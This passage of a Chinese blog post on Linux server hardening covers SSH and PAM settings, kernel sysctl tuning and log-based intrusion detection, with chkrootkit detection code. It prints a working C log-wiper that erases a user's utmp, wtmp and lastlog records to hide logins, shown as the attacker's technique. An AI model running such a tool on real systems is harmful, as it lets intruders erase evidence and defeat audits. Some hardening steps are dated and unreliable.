值得注意的是,需要和管理员确认能够管理的IP段

3. 禁止root用户远程登陆
检查方法:
      1) #cat /etc/ssh/sshd_config 
    查看PermitRootLogin是否为no
备份方法:
      1) #cp -p /etc/ssh/sshd_config /etc/ssh/sshd_config_bak
加固方法:
      1) #vi /etc/ssh/sshd_config
      PermitRootLogin no
      保存后重启ssh服务
      2) service sshd restart
"禁止root用户远程登陆"带来的直接后果就是root用户无法直接远程登录,需要用普通账号登陆后su

4. 限定信任主机
检查方法:
      1) #cat /etc/hosts.allow
    查看其中的主机
      2) #cat /$HOME/.rhosts 
    查看其中的主机
备份方法:
      1) #cp -p /etc/hosts.allow /etc/hosts.allow_bak
      #cp -p /$HOME/.rhosts /$HOME/.rhosts_bak
加固方法:
      1) #vi /etc/hosts.allow 
    删除其中不必要的主机
      2) #vi /$HOME/.rhosts 
    删除其中不必要的主机 
http://www-uxsup.csx.cam.ac.uk/doc/remote_access/rhosts.html
5. 屏蔽登录banner信息 检查方法:    1) #cat /etc/ssh/sshd_config 查看文件中是否存在Banner字段,或banner字段为NONE    2) #cat /etc/motd 查看文件内容,该处内容将作为banner信息显示给登录用户。 备份方法:    1) #cp -p /etc/ssh/sshd_config /etc/ssh/sshd_config_bak    2) #cp -p /etc/motd /etc/motd_bak 加固方法:    1) #vi /etc/ssh/sshd_config    banner NONE    2) #vi /etc/motd    删除全部内容或更新成自己想要添加的内容 6. 防止误使用Ctrl+Alt+Del重启系统 检查方法:    1) #cat /etc/inittab | grep ctrlaltdel 查看输入行是否被注释 备份方法:    1) #cp -p /etc/inittab /etc/inittab_bak 加固方法:    1) #vi /etc/inittab    在行开头添加注释符号"#"    2) #ca::ctrlaltdel:/sbin/shutdown -t3 -r now

0x5: 用户鉴别

1. 设置帐户锁定登录失败锁定次数、锁定时间
检查方法:
      1) #cat /etc/pam.d/system-auth 
    查看有无auth required pam_tally.so条目的设置
备份方法:
      1) #cp -p /etc/pam.d/system-auth /etc/pam.d/system-auth_bak
加固方法:
      1) #vi /etc/pam.d/system-auth
      auth required pam_tally.so onerr=fail deny=6 unlock_time=300 
    设置为密码连续错误6次锁定,锁定时间300秒
      2) 解锁用户 faillog -u <用户名> -r
当系统验证出现问题时,首先应当检查/var/log/messages或者/var/log/secure中的输出信息,根据这些信息判断用户账号的有效性

2. 修改帐户TMOUT值,设置自动注销时间
检查方法:
      1) #cat /etc/profile 
    查看有无TMOUT的设置
备份方法:
      1) #cp -p /etc/profile /etc/profile_bak
加固方法:
      1) #vi /etc/profile
      增加
      TMOUT=600 
    无操作600秒后自动退出 

3. Grub/Lilo密码
检查方法:
      1) #cat /etc/grub.conf|grep password 
    查看grub是否设置密码
      2) #cat /etc/lilo.conf|grep password 
    查看lilo是否设置密码
备份方法:
      1) #cp -p /etc/grub.conf /etc/grub.conf_bak
      2) #cp -p /etc/lilo.conf /etc/lilo.conf_bak
加固方法:为grub或lilo设置密码
   
4. 限制FTP登录
检查方法:
      1) #cat /etc/ftpusers 
    确认是否包含用户名,这些用户名不允许登录FTP服务(只有你安装了ftp服务才会有这个文件)
备份方法:
      1) #cp -p /etc/ftpusers /etc/ftpusers_bak
加固方法:
      1) #vi /etc/ftpusers 
    添加行,每行包含一个用户名,添加的用户将被禁止登录FTP服务

5. 设置Bash保留历史命令的条数
检查方法:
      1) #cat /etc/profile|grep HISTSIZE=
      2) #cat /etc/profile|grep HISTFILESIZE= 
    查看保留历史命令的条数
备份方法:
      1) #cp -p /etc/profile /etc/profile_bak
加固方法:
      1) #vi /etc/profile
      修改HISTSIZE=5和HISTFILESIZE=5即保留最新执行的5条命令

0x6: 审计策略

1. 配置系统日志策略配置文件
检查方法:
      1) #ps –aef | grep syslog 
    确认syslog是否启用
      2) #cat /etc/syslog.conf 
    查看syslogd的配置,并确认日志文件是否存在
          2.1) 系统日志(默认)/var/log/messages
          2.2) cron日志(默认)/var/log/cron
          2.3) 安全日志(默认)/var/log/secure
备份方法:
      1) #cp -p /etc/syslog.conf
  
2. 为审计产生的数据分配合理的存储空间和存储时间
检查方法:
      1) #cat /etc/logrotate.conf 
    查看系统轮询配置,有无

 

5. 基础物理安全

0x1: BIOS
我们应该总是在系统启动的时候设置一个BIOS密码和禁用从CD-ROM和软盘引导。这将防止一些人未经允许访问你的系统和更改BIOS设置

 

6. 系统编译环境安全

0x1: 禁用代码编译
我们可以禁用代码编译并且只把编译的权限分配给一个用户组
方法:

//1. 添加编译用户组
/usr/sbin/groupadd compiler
//2. 把常见的编译器所属组赋给编译用户组
cd /usr/bin
chgrp compiler *cc*
chgrp compiler *++*
chgrp compiler ld
chgrp compiler as

0x2: .history安全
这是一个避免删除.bash_history或重定向到/dev/null的好方法,目的是禁止清除或删除他最后执行的命令,黑客常常通过删除.history来隐藏自己的攻击痕迹,影响取证
方法:

chattr +a .bash_history
chattr +i .bash_history  

0x3: chmod危险文件

chmod 700 /bin/ping
chmod 700 /usr/bin/finger
chmod 700 /usr/bin/who
chmod 700 /usr/bin/w
chmod 700 /usr/bin/locate
chmod 700 /usr/bin/whereis
chmod 700 /sbin/ifconfig
chmod 700 /usr/bin/pico
chmod 700 /usr/bin/vi
chmod 700 /usr/bin/which
chmod 700 /usr/bin/gcc
chmod 700 /usr/bin/make
chmod 700 /bin/rpm

0x4: 指定允许root登陆的TTY设备

/etc/securetty文件允许你指定root可以从哪个TTY设备登录
方法:

vi /etc/securetty
//一个好的建议是,只留2个可信的连接
tty1
tty2

Relevant Link:

http://yonghui702.blog.163.com/blog/static/817183420110131102257/

 

7. 系统病毒、后门、rootkit安全

0x1: 检测Rootkit

关于rootkit的基本原理和防御策略请参阅另外几篇文章

http://www.cnblogs.com/LittleHann/p/3870974.html
http://www.cnblogs.com/LittleHann/p/3879118.html
http://www.cnblogs.com/LittleHann/p/3879961.html

 

8. 系统端口、服务安全

0x1: 关闭不用的服务

我们应该把任何未使用的服务关闭,可以在/etc/xinetd.d文件夹里找到
方法:

cd /etc/xinetd.d
grep disable *
//这将显示所有服务开启或关闭的状态,然后根据需要来开启或关闭服务

0x2: 检测监听的端口

检测是否有必要开放端口是非常重要的
方法:

netstat -tulp
lsof -i -n | egrep ‘COMMAND|LISTEN|UDP’
nmap!
//这3种方法都可以

 

9. 系统内核安全

0x1: 内核加固

sysctl.conf用来加固内核,目的是避免DOS和欺骗攻击
方法:

//1. 了解下当前配置的大概情况
sysctl -a
//2. 添加如下内容
vi /etc/sysctl.conf
# Kernel sysctl configuration file for Red Hat Linux
#
# For binary values, 0 is disabled, 1 is enabled. See sysctl(8) and
# sysctl.conf(5) for more details.
# Controls IP packet forwarding
net.ipv4.ip_forward = 0
# Controls source route verification
net.ipv4.conf.default.rp_filter = 1
# Controls the System Request debugging functionality of the kernel
kernel.sysrq = 0
# Controls whether core dumps will append the PID to the core filename.
# Useful for debugging multi-threaded applications.
kernel.core_uses_pid = 1
#Prevent SYN attack
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_max_syn_backlog = 2048
net.ipv4.tcp_synack_retries = 2
# Disables packet forwarding
net.ipv4.ip_forward=0
# Disables IP source routing
net.ipv4.conf.all.accept_source_route = 0
net.ipv4.conf.lo.accept_source_route = 0
net.ipv4.conf.eth0.accept_source_route = 0
net.ipv4.conf.default.accept_source_route = 0
# Enable IP spoofing protection, turn on source route verification
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.lo.rp_filter = 1
net.ipv4.conf.eth0.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1
# Disable ICMP Redirect Acceptance
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.lo.accept_redirects = 0
net.ipv4.conf.eth0.accept_redirects = 0
net.ipv4.conf.default.accept_redirects = 0
# Enable Log Spoofed Packets, Source Routed Packets, Redirect Packets
net.ipv4.conf.all.log_martians = 1
net.ipv4.conf.lo.log_martians = 1
net.ipv4.conf.eth0.log_martians = 1
# Disables IP source routing
net.ipv4.conf.all.accept_source_route = 0
net.ipv4.conf.lo.accept_source_route = 0
net.ipv4.conf.eth0.accept_source_route = 0
net.ipv4.conf.default.accept_source_route = 0
# Enable IP spoofing protection, turn on source route verification
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.lo.rp_filter = 1
net.ipv4.conf.eth0.rp_filter = 1
14
net.ipv4.conf.default.rp_filter = 1
# Disable ICMP Redirect Acceptance
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.lo.accept_redirects = 0
net.ipv4.conf.eth0.accept_redirects = 0
net.ipv4.conf.default.accept_redirects = 0
# Disables the magic-sysrq key
kernel.sysrq = 0
# Modify system limits for Ensim WEBppliance
fs.file-max = 65000
# Decrease the time default value for tcp_fin_timeout connection
net.ipv4.tcp_fin_timeout = 15
# Decrease the time default value for tcp_keepalive_time connection
net.ipv4.tcp_keepalive_time = 1800
# Turn off the tcp_window_scaling
net.ipv4.tcp_window_scaling = 0
# Turn off the tcp_sack
net.ipv4.tcp_sack = 0
# Turn off the tcp_timestamps
net.ipv4.tcp_timestamps = 0
# Enable TCP SYN Cookie Protection
net.ipv4.tcp_syncookies = 1
# Enable ignoring broadcasts request
net.ipv4.icmp_echo_ignore_broadcasts = 1
# Enable bad error message Protection
net.ipv4.icmp_ignore_bogus_error_responses = 1
# Log Spoofed Packets, Source Routed Packets, Redirect Packets
net.ipv4.conf.all.log_martians = 1
# Set maximum amount of memory allocated to shm to 256MB
kernel.shmmax = 268435456
# Improve file system performance
vm.bdflush = 100 1200 128 512 15 5000 500 1884 2
# Improve virtual memory performance
vm.buffermem = 90 10 60
# Increases the size of the socket queue (effectively, q0).
net.ipv4.tcp_max_syn_backlog = 1024
# Increase the maximum total TCP buffer-space allocatable
net.ipv4.tcp_mem = 57344 57344 65536
# Increase the maximum TCP write-buffer-space allocatable
net.ipv4.tcp_wmem = 32768 65536 524288
15
# Increase the maximum TCP read-buffer space allocatable
net.ipv4.tcp_rmem = 98304 196608 1572864
# Increase the maximum and default receive socket buffer size
net.core.rmem_max = 524280
net.core.rmem_default = 524280
# Increase the maximum and default send socket buffer size
net.core.wmem_max = 524280
net.core.wmem_default = 524280
# Increase the tcp-time-wait buckets pool size
net.ipv4.tcp_max_tw_buckets = 1440000
# Allowed local port range
net.ipv4.ip_local_port_range = 16384 65536
# Increase the maximum memory used to reassemble IP fragments
net.ipv4.ipfrag_high_thresh = 512000
net.ipv4.ipfrag_low_thresh = 446464
# Increase the maximum amount of option memory buffers
net.core.optmem_max = 57344
# Increase the maximum number of skb-heads to be cached
net.core.hot_list_length = 1024
## DO NOT REMOVE THE FOLLOWING LINE!
## nsobuild:20051206 
//3. 重启后生效
sbin/sysctl -p
sysctl -w net.ipv4.route.flush=1

 

10. 基于系统日志审计的入侵检测

入侵检测是一个大的课题,本小结试图从系统日志审计的角度来学习如何发现可疑的入侵现象。同时,我们知道,安全问题是一个攻防的持续对抗过程,我们在制定防御方案的时候需要先了解黑客可能采用的攻击向量,只有攻受一体,才可以真正做到有效防御

在Linux系统中,有三个主要的日志子系统:

1. /var/log/Wtmp
连接时间日志——由多个程序执行,把纪录写入到和,Login等程序更新Wtmp和Utmp文件,使系统管理员能够跟踪谁在何时登录到系统 

2. /var/run/Utmp
struct utmp 
{ 
  char ut_line[8]; /* tty line: "ttyh0", "ttyd0", "ttyp0", ... */ 
  char ut_name[8]; /* login name */ 
  long ut_time; /* seconds since Epoch */ 
}; 
    1) 登录时
    login程序填写这样一个结构,然后将其写入到utmp文件中,同时也将其添写到wtmp文件中
    
    2) 注销时
    init进程将utmp文件中相应的记录擦除(每个字节都填以0),并将一个新记录添写到wtmp文件中。读wtmp文件中的该注销记录,其ut_name字段清除为0。在系统再启动时,以及更改系统时间和日期的前后,都在wtmp文件中添写特
殊的记录项。who程序读utmp文件,并以可读格式打印其内容。后来的UNIX版本提供last命令,它读wtmp文件并打印所选择的记录。wtmp文件,它跟踪各个登录和注销事件 3. /var/log/messages: 错误日志 由Syslogd执行。各种系统守护进程、用户程序和内核通过Syslog向文件报告值得注意的事件。另外有许多UNIX程序创建日志。像HTTP和FTP这样提供网络服务的服务器也保持详细的日志

0x1: UTMP日志审计

1. 黑客的攻击向量

从utmp、wtmp的运行机制我们可以看出,安全研究员可以通过查看utmp文件来查看当前系统中是否有可疑的账户登录

而反过来思考,黑客也可以同样利用这点来进行bypass,从某种角度上来说,攻与防从本质上是一样的,黑客和安全研究员往往面对的是同样的操作系统底层技术,关键问题有两个

1. 我们采取什么样的技术去发现"迹象"
2. 有没有更"底层"的方法

黑客可以通过檫除utmp的中的指定记录来达到隐藏自己的登录痕迹

log_deletion.c

#include <stdio.h>
#include <stdlib.h>
#include <utmp.h>
#include <time.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <lastlog.h>
#include <pwd.h>
#define WTMP_NAME "/var/log/wtmp" 
#define UTMP_NAME "/var/run/utmp" 
#define LASTLOG_NAME "/var/log/lastlog" 

int f; 
//delete all the record which name is 'who' in utmp
void kill_utmp(who) 
char *who; 
{ 
    struct utmp utmp_ent; 

    if ((f=open(UTMP_NAME,O_RDWR))>=0) 
    { 
        while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) 
            if (!strncmp(utmp_ent.ut_name,who,strlen(who))) 
            { 
                bzero((char *)&utmp_ent,sizeof( utmp_ent )); 
                lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); 
                write (f, &utmp_ent, sizeof (utmp_ent)); 
            } 
        close(f); 
    } 
} 

//delete the latest record which name is 'who' in wtmp
void kill_wtmp(who) 
char *who; 
{ 
    struct utmp utmp_ent; 
    long pos; 
    pos = 1L; 
    if ((f=open(WTMP_NAME,O_RDWR))>=0) 
    { 

        while(pos != -1L) 
            { 
                lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND); 
                if (read (f, &utmp_ent, sizeof (struct utmp))<0) 
                { 
                        pos = -1L; 
                } else 
                { 
                    if (!strncmp(utmp_ent.ut_name,who,strlen(who))) 
                    { 
                        bzero((char *)&utmp_ent,sizeof(struct utmp )); 
                        lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND); 
                        write (f, &utmp_ent, sizeof (utmp_ent)); 
                        pos = -1L; 
                    } else pos += 1L; 
                } 
            } 
    close(f); 
    } 
} 

//update the record set time is never login which name is 'who'  in lastlog
void kill_lastlog(who) 
char *who; 
{ 
    struct passwd *pwd; 
    struct lastlog newll; 

    if ((pwd=getpwnam(who))!=NULL) 
    { 

        if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) 
        { 
            lseek(f, ((long)(pwd->pw_uid)) * (sizeof (struct lastlog)), 0); 
            bzero((char *)&newll,sizeof( newll )); 
            write(f, (char *)&newll, sizeof( newll )); 
            close(f); 
        } 

    } else printf("%s: ?\n",who); 
} 


main(argc,argv) 
int argc; 
char *argv[]; 
{ 

    if (argc==2) 
    {
        printf("user:%s\n",argv[1]); 
        kill_lastlog(argv[1]); 
        kill_wtmp(argv[1]); 
        kill_utmp(argv[1]); 
        printf("Zap2!\n"); 
    } else
    {
        printf("Error.\n"); 
    }
} 

从代码中可以看到,黑客通过檫除(删除)utmp中的指定用户的那一行来达到隐藏自己的目的,从而bypass过lastlog、who等命令的审计流程

2. 针对性的对抗检测技术

为了对抗这种攻击技术,安全研究员需要从几个方面去思考对策

1. utmp文件是我们审计登录日志的一个很有效的渠道,这也意味着它一定会受到黑客的重点关注,被攻击是在所难免的
2. 我们需要通过其他的渠道和utmp进行交叉比较,交叉比较的目的有2个
    1) 直接得到utmp上的等价的日志信息
    2) 发现utmp被攻击的迹象

chkrootkit在这方面提供了一个很好的解决思路

1. 正常的情况下,Linux进程列表中的每一个进程都有一个对应的tty,每个进程都是由某一个终端shell所启动的
2. 用户登录Linux系统的Login Shell进程,应该同时也会出现在UTMP中,并且它们的PID应该是匹配的

来一起学习一下源代码

int main(int argc, char *argv[])
{
    struct ps_line ps_l[MAXBUF];    /* array of data from 'ps' */
    struct utmp_line ut_l[MAXBUF];    /* array of data from utmp log */
    int h, i, y, z, mtch_fnd, hdr_prntd;

    //获取当前系统中的进程列表相关信息
    y = fetchps(ps_l);
    //获取当前系统的UTMP文件的信息
    z = fetchutmp(ut_l);
    hdr_prntd = 0;
    for (h = 0; h < y; h++)
    {    
        /* loop through 'ps' data */
        mtch_fnd = 0;
        for (i = 0; i < z; i++) 
        {    
            /* 
            try and match the tty from 'ps' to one in utmp 
            这里这里隐含的思想是:
            1. 正常情况下,UTMP中记录的登录事件的PID一定对应着进程列表中的某个进程,同时要明白,通过遍历进程列表和UTMP的tty同样也可以找到对应关系
            2. 这个代码逻辑是为了加速搜索过程的目的
            */
            if (ut_l[i].ut_type == LOGIN_PROCESS    /* ignore getty processes with matching pid from 'ps' */
                && ut_l[i].ut_pid == ps_l[h].ps_pid)
               {
                mtch_fnd = 1;
                break;
            }
            /* 
            compare the tty's
            这里这里隐含的思想是:
            1. 每个进程都有自己的tty
            2. 如果当前系统处于正常状态,在UTMPM文件中一定记录着一个登录事件,对应这个tty
            3. 在进程列表和UTMP的交叉遍历中,一定可以找到这个对应关系
            */
            else if (strncmp(ps_l[h].ps_tty, ut_l[i].ut_tty,    
                     strlen(ps_l[h].ps_tty)) == 0)
            {
                mtch_fnd = 1;
                break;
            }
        } 
        if (!mtch_fnd) 
        {
            if (!hdr_prntd) 
            {
                printf (" The tty of the following user process(es) were not found\n");
                printf(" in %s !\n", UTMP);
                printf("! %-9s %7s %-6s %s\n", "RUID", "PID", "TTY", "CMD");
                hdr_prntd = 1;
            }
            printf("! %-9s %7d %-6s %s", ps_l[h].ps_user, ps_l[h].ps_pid, ps_l[h].ps_tty, ps_l[h].ps_args);
        }
    }
    exit(EXIT_SUCCESS);
}
#endif

详细代码请参阅chkrootkit的chkutmp.c代码

Relevant Link

http://blog.sina.com.cn/s/blog_494e45fe0102dypr.html
http://www.0x50sec.org/site-defense/2010/04/id/728/

0x2: WTMP日志审计

1. 黑客的攻击向量

和UTMP不同的是,WTMP是历史上登录过的用户的记录,黑客同样会采用日志文件檫除的方式对WTMP发动攻击,攻击代码见0x1

2. 针对性的对抗检测技术

在WTMP这个case的场景下,由于WTMP记录的本来就是历史登录记录,即WTMP上记录的数据在当前"运行时 run time"的环境下是很难获取到的,我们想要通过交叉比较发现被黑客删除掉的信息是比较困难的,在这种情况下,我们该怎样思考呢

1. 通过检查WTMP文件本身来发现黑客对WTMP文件的攻击迹象
2. 黑客对WTMP文件进行"檫除",只是把对应的一行数据置空,但是那行数据的位置还在,我们在读取WTMP的时候得到的就是0字段,这可以作为一个判断依据
3. 可以通过统计WTMP文件中被檫除的日志条目的"两边"的时间,得到黑客檫除的日志的时间跨度,而这个时间跨度实际上就是黑客在使用某个账户进行非法操作的时间跨度,也就是黑客的操作时间

来一起学习一下源代码

int main(int argc, char*argv[]) 
{
    int        filehandle;
    struct     utmp    utmp_ent;
    struct     timeval    mytime;
    struct     timezone    dummy;
    long    start_time, act_time;
    int        del_counter, t_del;
    char     wtmpfile[128];

    del_counter=t_del=0;
    start_time=0;

    gettimeofday(&mytime, &dummy);
    act_time=mytime.tv_sec;
    wtmpfile[127]='\0';
    memcpy(wtmpfile, WTMP_FILENAME, 127);
    if ( argc == 3 && !memcmp("-f", argv[1], 2) && *argv[2])
    {
            memcpy(wtmpfile, argv[2], 127);
    } 
    //打开/var/log/wtmp文件
    if ((filehandle = open(wtmpfile,O_RDONLY)) < 0) 
    {
        fprintf(stderr, "unable to open wtmp-file %s\n", wtmpfile);
        return(2);
    }

    //逐行遍历WTMP文件的结构体
    while (read (filehandle, (char *) &utmp_ent, sizeof (struct utmp)) > 0) 
    {
        //如果本条的tu_time为0,则说明本条日志记录遭到了删除
        if (utmp_ent.ut_time == 0)
        {
            del_counter++;
        } 
        else 
        {
            if (del_counter) 
            {
                /*
                显示WTMP被攻击的相关信息
                1. del_counter:    被删除的条目数
                2. start_time:wtmp日志被檫除的起始时间
                3. utmp_ent.ut_time:wtmp日志被檫除的终止时间

                综合起来就是,wtmp日志被檫除的时间段,从一定程度上反映了黑客的攻击时间区间
                */
                printit(del_counter, start_time, utmp_ent.ut_time);
                t_del++;
                //每检测完一段的wtmp檫除记录区间后,del_counter置零,为下一段空记录检测作准备
                del_counter=0;
            }
            //记录WTMP日志文件开始被删除的起始时间点
            start_time=utmp_ent.ut_time;
        }
    }
    close(filehandle);
    if (del_counter)
    { 
        printit(del_counter, start_time, act_time);
    } 
    exit((int) t_del+del_counter);
}
#endif

0x3: LASTLOG日志审计

1. 黑客的攻击向量

lastlog文件记录最后进入系统的用户信息,包括登录的时间、登录是否成功等信息。这个文件是一个2进制文件,需要用lastlog命令进行读取,lastlog会枚举出当前系统中的所有用户(/etc/passwd)的登录情况。黑客为了掩盖它的登录记录,通常会对这个文件进行檫除

2. 针对性的对抗检测技术

针对这类lastlog类型的日志审计,我们可以采取的思路依然是交叉检测,通过同时比对系统中的几份日志,如果黑客在檫除日志的时候没有考虑完备,只檫除了其中一部分的日志,就会被我们捕获到它的异常入侵行为。Linux系统中记录有"历史登录记录"的日志有

1. wtmp
2. lastlog

我们来一起学习一下源代码

int main(int argc, char*argv[]) 
{
    int        fh_wtmp;
    int        fh_lastlog;
  /*
  struct lastlog 
  {
        int32_t ll_time;                // When user logged in 
        char    ll_line[UT_LINESIZE];   // Terminal line name 
        char    ll_host[UT_HOSTSIZE];   // Host user came from 
  };
  用于查看那所用账号的最后登录时间
  */
    struct lastlog    lastlog_ent;

  /*
  struct utmp {
        char    ut_line[UT_LINESIZE];   // Terminal line name  
        char    ut_name[UT_NAMESIZE];   // User’s login name  
        char    ut_host[UT_HOSTSIZE];   // Host user came from 
        int32_t ut_time;                // When user logged in  
  }; 
  /var/log/wtmp 
  记录当前和历史上登录到系统的用户的登录tty、登录用户名、来源和时间等信息。和/var/log/lastlog一样,这个文件是一个二进制文件,需要用last命令查看
  last -f /var/log/wtmp
  */
    struct utmp    utmp_ent;
    long        userid[MAX_ID];
    long        i, slot;
    int        status = 0;
    long        wtmp_bytes_read;
 
    struct stat    wtmp_stat;
    struct s_localpwd    *localpwd;
  struct passwd *user;
    uid_t        *uid;
  char wtmpfile[128], lastlogfile[128];

  memcpy(wtmpfile, WTMP_FILENAME, 127);
  memcpy(lastlogfile, LASTLOG_FILENAME, 127);

  while (--argc && ++argv) /* poor man getopt */
  {
     if (!memcmp("-f", *argv, 2))
     {
        if (!--argc)
        {
          break;
        } 
        ++argv;
        memcpy(wtmpfile, *argv, 127);
     }
     else if (!memcmp("-l", *argv, 2))
     {
        if (!--argc)
        {
          break;
        } 
        ++argv;
        memcpy(lastlogfile, *argv, 127);
     }
  }

  //信号的安装(确定要接收和处理的信号),指定read_status()作为信号处理函数
    signal(SIGALRM, read_status);
  //信号的发送,专门为SIGALRM信号而设,在指定的时间seconds秒后,将向进程本身发送SIGALRM信号,又称为闹钟时间
    alarm(5);
    for (i=0; i < MAX_ID; i++)
  {
    userid[i]=FALSE;
  } 
  //打开"/var/log/lastlog"文件
    if ((fh_lastlog = open(lastlogfile, O_RDONLY)) < 0) 
  {
        fprintf(stderr, "unable to open lastlog-file %s\n", lastlogfile);
        return(1);
    }
  //打开"/var/log/wtmp"文件
    if ((fh_wtmp = open(wtmpfile, O_RDONLY)) < 0) 
  {
        fprintf(stderr, "unable to open wtmp-file %s\n", wtmpfile);
        close(fh_lastlog);
        return(2);
    }
  //获取/var/log/wtmp的文件属性: struct stat,保存在wtmp_stat结构体中
    if (fstat(fh_wtmp, &wtmp_stat)) 
  {
        perror("chklastlog::main: ");
        close(fh_lastlog);
        close(fh_wtmp);
        return(3);
    }
    wtmp_file_size = wtmp_stat.st_size;
  //获取"/etc/passwd"文件结构化内容
    localpwd = read_pwd();
  /*
  3. 检查/etc/passwd中是否有白名单之外的"超级用户(uid)",这是一种异常现象
  */ 
  while((user = getpwent())!=0)
  { 
    //默认白名单只有root用户
    if ((user->pw_uid == 0) && (strcmp(user->pw_name, "root") != 0))
    {
      printf("\ndedect Suspicious Account\n");
      printf("\n%s:%d:%d:%s:%s:%s\n",user->pw_name, user->pw_uid, user->pw_gid, user->pw_gecos,user->pw_dir,user->pw_shell);
      /*
      建立一个全局变量: bool find_rootkit;
      如果代码逻辑走到这里,则标记为: find_rootkit = true;
      待扫描结束后统一上报

      event_type = suspicious_root_account;
      */
    }
  }
  endpwent();


  /*
  "/var/log/wtmp"是一个记录用户登录信息的列表,每一行都记录了一次用户的登录信息,接下来的代码对其进行逐行遍历
  */
    while ((wtmp_bytes_read = read(fh_wtmp, &utmp_ent, sizeof (struct utmp))) >0) 
  {
    if (wtmp_bytes_read < sizeof(struct utmp))
    {
      fprintf(stderr, "wtmp entry may be corrupted");
      break;
    }
    total_wtmp_bytes_read += wtmp_bytes_read;
    /*
    对当前遍历中的"struct utmp"进行过滤检查
    1. 是否是"shutdonw"用户
    2. 当前登录用户账户命是否在"/etc/passwd"中存在
    */
    if ( !nonuser(utmp_ent) /*&& strncmp(utmp_ent.ut_line, "ftp", 3)*/ && (uid = localgetpwnam(localpwd, utmp_ent.ut_name)) != NULL )
    {
      if (*uid > MAX_ID)
      { 
        fprintf(stderr, "MAX_ID is %ld and current uid is %ld, please check\n\r", MAX_ID, *uid );
        exit (1); 
      }
      if (!userid[*uid])
      {
        lseek(fh_lastlog, (long)*uid * sizeof (struct lastlog), 0);
        if ((wtmp_bytes_read = read(fh_lastlog, &lastlog_ent, sizeof (struct lastlog))) > 0)
        {
          if (wtmp_bytes_read < sizeof(struct lastlog))
          {
            fprintf(stderr, "lastlog entry may be corrupted");
            break;
          }
          if (lastlog_ent.ll_time == 0)
          {
            if (-1 != (slot = getslot(localpwd, *uid)))
            {
              //1. 如果本次登录的用户在lastlog中的没有对应的登录记录(即这是一个突然新增的新用户登录),则表明是一个可疑用户登录行为
              printf("user %s deleted or never logged from lastlog!\n", NULL != localpwd->uname[slot] ? (char*)localpwd->uname[slot] : "(null)"); 
            } 
            else
            {
              //2. 检测本次登录的用户是否有在/etc/passwd中出现
              printf("deleted user uid(%d) not in passwd\n", *uid); 
            } 
            ++status;
          }
          userid[*uid]=TRUE;
        }
      }
    }
    }
#if 0
    printf("\n");
#endif
    free_results(localpwd);
    close(fh_wtmp);
    close(fh_lastlog);
    return(status);
}

Relevant Link:

http://www.oschina.net/news/55227/11-open-source-security-tools-catching-fire-github

 

11. 构建日志收集系统过程中面临的技术挑战

作为日志收集系统来说,不管是client端,还是server端,典型地都是一种N:1的C/S结果,N:1中的"1"往往成为性能的瓶颈,例如

1. 使用LD_PRELOAD+SO注入的方式进行指令收集,使用消息队列(message queue)作为so和主程序之间消息传输的管道,主程序中的消息接收线程负责从消息队列中提取消息,主程序中的网络发送线程负责将消息通过网络连接发送到远程的中心server。在这种架构下,如果发生了峰值消息(即被监控端发生了死循环指令)并且长时间保持峰值,主程序会发生"内存使用飙高"的现象。这种内存飙高从本质上来说是"供需关系不平衡",即如果网络发送的速度小于消息产生的速度,则这个内存飙高永远无法解决

解决这个问题的思路有

1. 对死循环进行智能检测,找到死循环指令的特征,发现并过滤这部分垃圾指令
2. 当到达CPU、内存的使用上限的时候,启用一个白名单,对一些常用的命令(例如ls、ll)进行过滤
3. 学习syslog-ng的实现逻辑,syslog-ng在死循环指令的高负载状态下依然能保持稳定运行、并进行数据包转发
4. 当CPU、内存负载到达一个阀值上限的时候,将queue中的消息全部暂存到磁盘上暂存起来,然后继续运行,等到CPU、内存负载下降后,再将缓存临时文件缓慢发出去
5. 当发生内存飙高的情况时,进行内存整理,因为glibc的内存分配和管理会分配很多碎片内存,并且回收后的内存并未标记为"can use",导致内存出现飙高的现象

Relevant Link:

https://lists.balabit.hu/pipermail/syslog-ng/2010-October/015014.html
http://www.suse.url.tw/syslog-ng.pdf
http://tsecer.blog.163.com/blog/static/15018172012615114243736/
http://answers.splunk.com/answers/42645/log-dropping-in-syslog-ng.html 

 

Copyright (c) 2014 LittleHann All rights reserved

 

posted @ 2014-08-05 16:29  郑瀚Andrew  阅读(1970)  评论(0编辑  收藏  举报